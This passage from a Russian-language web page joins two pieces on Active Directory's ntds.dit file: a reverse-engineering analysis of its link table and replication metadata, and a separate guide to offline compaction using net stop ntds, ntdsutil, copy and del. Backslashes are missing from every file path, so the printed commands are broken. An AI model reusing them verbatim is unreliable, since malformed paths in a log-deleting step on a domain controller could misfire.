JET_COLUMNID(0x1) link_DNT Long Single-value
JET_COLUMNID(0x80) link_metadata Binary Single-value
JET_COLUMNID(0x7) link_ncdnt Long Single-value
JET_COLUMNID(0x101) link_ndesc Long Single-value
JET_COLUMNID(0x6) link_usnchanged Currency Single-value

Названия и тип столбцов намекают, а анализ содержащихся в них данных подтверждает, что:
link_DNT — Содержит идентификатор dn (соответствует DNT_col из datatable) объекта, связь которого описывается (например, объекта группы)
backlink_DNT — Содержит идентификатор dn связанного с ним объекта (например, объекта пользователя)
link_ncdnt — Содержит идентификатор dn контекста именования, в котором расположены участники связи.
link_usnchanged — Содержит USN последнего изменения всязи
link_data — Я видел это поле заполненным только для связей объектов NTDS Settings. Да! Объекты NTDS Settings имеют связи с объектами разделов каталога повидимому посредством этих связей задаются параметры репликации различных разделов каталога.
link_deltime — Содержит время удаления связи.
link_metadata — содержит метаданные, необходимые для репликации внесённых изменений. Заполеннными значения этой колонки я видел только на Windows 2012. Christoffer Andersson пишет, что колонка содержит структуру DS_REPL_VALUE_META_DATA и здесь я с ним категорически не согласен. Структура DS_REPL_VALUE_META_DATA используется на более высоком уровне — её возвращают вызовы ntdsa.dll. Данные, содержащаеся в этой колонке имеют размер меньше, чем необходимо под структуру DS_REPL_VALUE_META_DATA. Пока данная колонка остаётся для меня загадкой. Впринципе метаданные репликации для аттрибутов-связей можно получить из построенного атрибута msDS-ReplValueMetaData, но это не раскрывает внутреннего механизма обработки и хранения этих данных.

Вопрос четвёртый: Каков формат атрибута replPropertyMetaData и с какой точностью в метаданных репликации хранятся временные метки?

В этом атрибуте хранятся метаданные репликации в двоичном виде:

Что хранится в первых 8-ми байтах данной структуры я пока не разобрался.
Следует обратить внимание на тот факт, что в структуре replPropertyMetaData перечисляются только реплицируемые атрибуты со значениями. Так, например, вы не увидите в replPropertyMetaData идентификатора атрибута logonTimestamp.
Тут есть интересный момент: в структуре replPropertyMetaData для объектов безопасности Active Directory (пользователей, групп и компьютеров) присутствует атрибут objectSid.
Кстати, чтобы расшифровать значение этого атрибута — не обязательно так напрягаться — существует построенный атрибут msDS-ReplAttributeMetaData — он собой предстваляет не что иное как разобранное значение replPropertyMetaData.

Временные метки в Active Directory это 64-битные беззнаковые целые числа, указывающие количество секунд, прошедших с 00:00 1 января 1601 года. Отсюда вытекает интересный нюанс: при правке одного атрибута одного и того же объекта на двух контроллерах домена в течение 1 секунды (например при пакетной обработке большого числа пользователей) можно получить неожиданный результат.
По данным статьи на technet выигрывает версия атрибута от контроллера с меньшим GUID.

Использованная информация:

technet.microsoft.com/en-us/library/cc772829%28v=ws.10%29.aspx
blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1
blogs.chrisse.se/2012/02/15/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-2
blogs.chrisse.se/2012/02/20/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-3
blogs.chrisse.se/2012/02/28/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-4
gexeg.blogspot.ru/2009/12/active-directory.html
www.ntdsxtract.com

Все эксперименты ставились над ntds.dit из Windows Server 2012 Eng

UPD. На закуску маленькая утилитка, которую написал чтобы изучать ntds.dit (быть может кому сгодится).

Обновлено 19.07.2019

Как правильно сжать базу данных Active DirectoryВсех приветствую, вновь на страницах своего блога. Как известно, база Active Directory хранится в файле NTDS.DIT, размер которого может отличаться на разных контроллерах домена. Причина в том, что Active Directory- это служба каталога с мульти-мастерной независимой моделью, где изменение может произойти на любом контроллере домена, и со временем эти изменения должны реплицироваться на остальные контроллеры домена. И т.к. изменения реплицируются между контроллерами домена, а не между базами данных, это означает, что размер файлов базы данных Active Directory на различных контроллерах может отличаться.

В Windows 2000 и Windows Server 2003 служба Directory Services (DS) выполняют online-дефрагментацию каждые 12 часов в рамках процесса сбора мусора в базе (garbage-collection) Этот вид дефрагментации лишь перемещает данные внутри файла базы данных (NTDS.DIT) и не уменьшает размер файла, это означало, что при запущенной службе Active Directory файл базы данных сжать нельзя.

Если же произвести офлайн дефрагментацию файла NTDS.DIT на контроллере домена при остановленной службе Active Directory, то размер файла NTDS.DIT может быть существенно уменьшен. Сам файл лежит по пути C:WindowsNTDS, в моем примере он весит 122 мегабайта.

база ntds.dit

Размер данного файла прямиком зависит от количества групповых политик у вас к лесу и естественно, от количества групп и пользователей присутствующих в Active Directory. Однако стоит отметить – что дефрагментация файла NTDS.DIT – это абсолютно не обязательная процедура, т.к. в процессе работы механизмы Windows автоматически обеспечивают целостность и производительность базы AD, вычищая из нее удаленные объекты с истекшим сроком захоронения (tombstone lifetime). Офлайн дефрагментация файла NTDS.DIT, скорее всего не даст прироста в скорости выполнения запросов AD, единственная цель офлайн дефрагментации базы AD – возможность сэкономить место на диске. Итак, чтобы сжать базу Active Directory необходимо остановить службу Active Directory Domain services. В Windows 2008 и выше достаточно просто остановить службу ADDS (net stop ntds), в Windows 2003 придется перезагрузить контроллер домена, и при загрузке загрузиться в режиме восстановления каталога (Directory Services Restore Mode), нажав F8 и выбрав DSRM.

Как правильно сжать базу данных Active Directory-01

Запускаем cmd и пишем net stop ntds, для того чтобы остановить службы AD.
Как правильно сжать базу данных Active Directory-02

Жмем Y, чтобы подтвердить выключение.
Как правильно сжать базу данных Active Directory-03

Видим, что все остановилось ок. В командной строке наберите: ntdsutil жмем Enter

Как правильно сжать базу данных Active Directory-04

  • Затем Activate Instance NTDS жмем Enter
  • Files жмем Enter
  • Затем выполните команду compact to c:tntds
    В результате запустится сжатие файла базы AD, а на экран будет выведен индикатор выполнения процесса. После окончания процесса сжатия появится инструкция, с действиями которые необходимо выполнить далее (инструкции зависят от вашей конфигурации и местоположения файла NTDS.DIT)

Как правильно сжать базу данных Active Directory-05

Теперь выходим из ntdsutil-quit и еще раз quit. Скопируйте сжатый файл NTDS.DIT в каталог с оригинальным файлом NTDS.DIT, например: copy “c:tntdsntds.dit” “С: WindowsNTDSntds.dit”. Удалите старые логи из каталога NTDS.DIT: del /q c:windowsNTDS*.log.  Запустите службу ADDS (Windows Server 2008R2) или перезагрузите контроллер домена (Windows 2003/2000) для нормального запуска контроллера домена.

Примечание: Процесс сжатия базы данных Active Directory достаточно прост. Но учтите, что эту операцию необходимо выполнить на всех контроллерах домена, на которых вы хотите уменьшить размер базы данных Active Directory, т.к. физически база данных AD сама по себе не реплицируется на все контроллеры домена. Хочу кстати напомнить, что именно содержится в файле NTDS.dit, чтобы вы понимали, что именно сжимается в базе данных AD:

    • Схему AD
    • Раздел Configuration
    • Domain
    • DNS
    • PAS

Как правильно сжать базу данных Active Directory-6

Как видите, сама процедура сжатия базы данных Active Directory очень простая, от администратора потребуется выполнить пару команд в оболочке cmd. Я если честно на практике не встречал людей, кто бы это делал, да и масштабы базы данных просто не такие, вот если бы она весила пару гигабайт, то сжатие NTDS.dit, было бы очень оправдано, но такие размеры, только в очень крупных компаниях. Материал сайта Pyatilistnik.org

Понравилась статья? Поделить с друзьями:
  • Ntdll dll ошибка windows 7 при запуске windows
  • Ntdll dll ошибка windows 7 appcrash
  • Nt kernel system синий экран windows 10
  • Ntdll dll ошибка windows 10 скачать
  • Nt kernel system драйвер windows 10